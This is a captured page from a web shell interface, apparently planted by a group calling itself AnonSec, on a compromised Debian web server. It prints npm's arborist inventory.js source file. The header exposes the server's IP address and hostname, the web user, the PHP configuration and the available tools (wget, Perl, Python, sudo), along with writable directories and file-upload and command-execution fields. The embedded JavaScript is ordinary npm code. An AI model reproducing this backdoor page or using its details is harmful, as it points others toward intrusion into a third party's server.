Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.116.43.47
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/inventory.js
// a class to manage an inventory and set of indexes of a set of objects based
// on specific fields.
const { hasOwnProperty } = Object.prototype
const debug = require('./debug.js')

const keys = ['name', 'license', 'funding', 'realpath', 'packageName']
class Inventory extends Map {
  #index

  constructor () {
    super()
    this.#index = new Map()
    for (const key of keys) {
      this.#index.set(key, new Map())
    }
  }

  // XXX where is this used?
  get primaryKey () {
    return 'location'
  }

  // XXX where is this used?
  get indexes () {
    return [...keys]
  }

  * filter (fn) {
    for (const node of this.values()) {
      if (fn(node)) {
        yield node
      }
    }
  }

  add (node) {
    const root = super.get('')
    if (root && node.root !== root && node.root !== root.root) {
      debug(() => {
        throw Object.assign(new Error('adding external node to inventory'), {
          root: root.path,
          node: node.path,
          nodeRoot: node.root.path,
        })
      })
      return
    }

    const current = super.get(node.location)
    if (current) {
      if (current === node) {
        return
      }
      this.delete(current)
    }
    super.set(node.location, node)
    for (const [key, map] of this.#index.entries()) {
      let val
      if (hasOwnProperty.call(node, key)) {
        // if the node has the value, use it even if it's false
        val = node[key]
      } else if (key === 'license' && node.package) {
        // handling for the outdated "licenses" array, just pick the first one
        // also support the alternative spelling "licence"
        if (node.package.license) {
          val = node.package.license
        } else if (node.package.licence) {
          val = node.package.licence
        } else if (Array.isArray(node.package.licenses)) {
          val = node.package.licenses[0]
        } else if (Array.isArray(node.package.licences)) {
          val = node.package.licences[0]
        }
      } else if (node[key]) {
        val = node[key]
      } else {
        val = node.package?.[key]
      }
      if (val && typeof val === 'object') {
        // We currently only use license and funding
        /* istanbul ignore next - not used */
        if (key === 'license') {
          val = val.type
        } else if (key === 'funding') {
          val = val.url
        }
      }
      if (!map.has(val)) {
        map.set(val, new Set())
      }
      map.get(val).add(node)
    }
  }

  delete (node) {
    if (!this.has(node)) {
      return
    }

    super.delete(node.location)
    for (const [key, map] of this.#index.entries()) {
      let val
      if (node[key] !== undefined) {
        val = node[key]
      } else {
        val = node.package?.[key]
      }
      const set = map.get(val)
      if (set) {
        set.delete(node)
        if (set.size === 0) {
          map.delete(node[key])
        }
      }
    }
  }

  query (key, val) {
    const map = this.#index.get(key)
    if (arguments.length === 2) {
      if (map.has(val)) {
        return map.get(val)
      }
      return new Set()
    }
    return map.keys()
  }

  has (node) {
    return super.get(node.location) === node
  }

  set () {
    throw new Error('direct set() not supported, use inventory.add(node)')
  }
}

module.exports = Inventory

Anon7 - 2022
AnonSec Team